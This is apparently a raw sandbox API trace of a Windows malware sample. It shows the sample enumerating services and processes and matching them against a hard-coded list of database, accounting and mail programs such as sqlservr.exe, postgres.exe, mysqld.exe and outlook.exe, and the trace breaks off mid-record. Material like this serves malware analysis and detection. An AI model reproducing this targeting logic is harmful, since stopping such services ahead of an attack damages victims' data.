lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0062.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0062.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0062.563] lstrlenW (lpString="Schedule") returned 8 [0062.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0062.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0062.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0062.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0062.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0062.563] lstrlenW (lpString="SENS") returned 4 [0062.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0062.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0062.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0062.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0062.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0062.563] lstrlenW (lpString="ShellHWDetection") returned 16 [0062.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.563] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0062.563] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0062.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0062.564] lstrlenW (lpString="Spooler") returned 7 [0062.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0062.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0062.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0062.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0062.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0062.564] lstrlenW (lpString="swprv") returned 5 [0062.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0062.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0062.564] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0062.564] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0062.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0062.564] lstrlenW (lpString="SysMain") returned 7 [0062.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0062.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0062.564] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0062.564] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0062.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0062.564] lstrlenW (lpString="Themes") returned 6 [0062.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0062.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0062.564] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0062.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0062.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0062.564] lstrlenW (lpString="TrkWks") returned 6 [0062.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0062.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0062.564] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0062.564] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0062.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0062.564] lstrlenW (lpString="UxSms") returned 5 [0062.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0062.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0062.564] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0062.565] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0062.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0062.565] lstrlenW (lpString="VSS") returned 3 [0062.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0062.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0062.565] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0062.565] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0062.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0062.565] lstrlenW (lpString="WdiServiceHost") returned 14 [0062.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.565] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0062.565] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0062.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0062.565] lstrlenW (lpString="WdiSystemHost") returned 13 [0062.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.565] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0062.565] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0062.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0062.565] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0062.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.565] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0062.565] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0062.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0062.565] lstrlenW (lpString="Winmgmt") returned 7 [0062.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0062.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0062.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0062.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0062.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0062.565] lstrlenW (lpString="WPDBusEnum") returned 10 [0062.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.565] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0062.566] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0062.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0062.566] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3372ff8 | out: hHeap=0x790000) returned 1 [0062.566] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334 [0062.567] Process32FirstW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.567] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.568] lstrlenW (lpString="System") returned 6 [0062.568] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.568] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.568] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0062.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0062.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0062.568] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.568] lstrlenW (lpString="smss.exe") returned 8 [0062.568] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0062.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0062.568] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0062.568] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0062.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0062.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0062.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0062.568] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.569] lstrlenW (lpString="csrss.exe") returned 9 [0062.569] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.569] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.569] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.569] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0062.569] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.569] lstrlenW (lpString="wininit.exe") returned 11 [0062.569] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0062.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0062.569] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0062.569] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.570] lstrlenW (lpString="csrss.exe") returned 9 [0062.570] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.570] lstrlenW (lpString="winlogon.exe") returned 12 [0062.570] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.570] lstrlenW (lpString="services.exe") returned 12 [0062.570] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.571] lstrlenW (lpString="lsass.exe") returned 9 [0062.571] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.571] lstrlenW (lpString="lsm.exe") returned 7 [0062.571] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.571] lstrlenW (lpString="svchost.exe") returned 11 [0062.571] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.572] lstrlenW (lpString="svchost.exe") returned 11 [0062.572] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.572] lstrlenW (lpString="svchost.exe") returned 11 [0062.572] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.572] lstrlenW (lpString="svchost.exe") returned 11 [0062.572] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.573] lstrlenW (lpString="svchost.exe") returned 11 [0062.573] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.573] lstrlenW (lpString="audiodg.exe") returned 11 [0062.573] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.573] lstrlenW (lpString="svchost.exe") returned 11 [0062.573] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.573] lstrlenW (lpString="svchost.exe") returned 11 [0062.573] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.574] lstrlenW (lpString="dwm.exe") returned 7 [0062.574] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.574] lstrlenW (lpString="explorer.exe") returned 12 [0062.574] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.574] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.574] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.575] lstrlenW (lpString="taskhost.exe") returned 12 [0062.575] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.575] lstrlenW (lpString="svchost.exe") returned 11 [0062.575] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.575] lstrlenW (lpString="taskeng.exe") returned 11 [0062.575] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.576] lstrlenW (lpString="taskhost.exe") returned 12 [0062.576] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0062.576] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0062.576] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0062.576] lstrlenW (lpString="noticed.exe") returned 11 [0062.576] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0062.577] lstrlenW (lpString="uploaded.exe") returned 12 [0062.577] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0062.577] lstrlenW (lpString="hardware.exe") returned 12 [0062.577] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0062.577] lstrlenW (lpString="oracle.exe") returned 10 [0062.577] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0062.577] lstrlenW (lpString="creativity.exe") returned 14 [0062.578] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0062.578] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0062.578] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0062.578] lstrlenW (lpString="edited.exe") returned 10 [0062.578] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0062.578] lstrlenW (lpString="custody.exe") returned 11 [0062.578] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0062.579] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0062.579] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0062.579] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0062.579] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0062.579] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0062.579] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0062.580] lstrlenW (lpString="radius.exe") returned 10 [0062.580] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0062.580] lstrlenW (lpString="extensions.exe") returned 14 [0062.580] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0062.580] lstrlenW (lpString="desperate.exe") returned 13 [0062.580] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0062.580] lstrlenW (lpString="professor-mo.exe") returned 16 [0062.581] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0062.581] lstrlenW (lpString="guidance.exe") returned 12 [0062.581] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0062.581] lstrlenW (lpString="week.exe") returned 8 [0062.581] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0062.581] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0062.581] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0062.582] lstrlenW (lpString="sn featured.exe") returned 15 [0062.582] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0062.582] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0062.582] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, 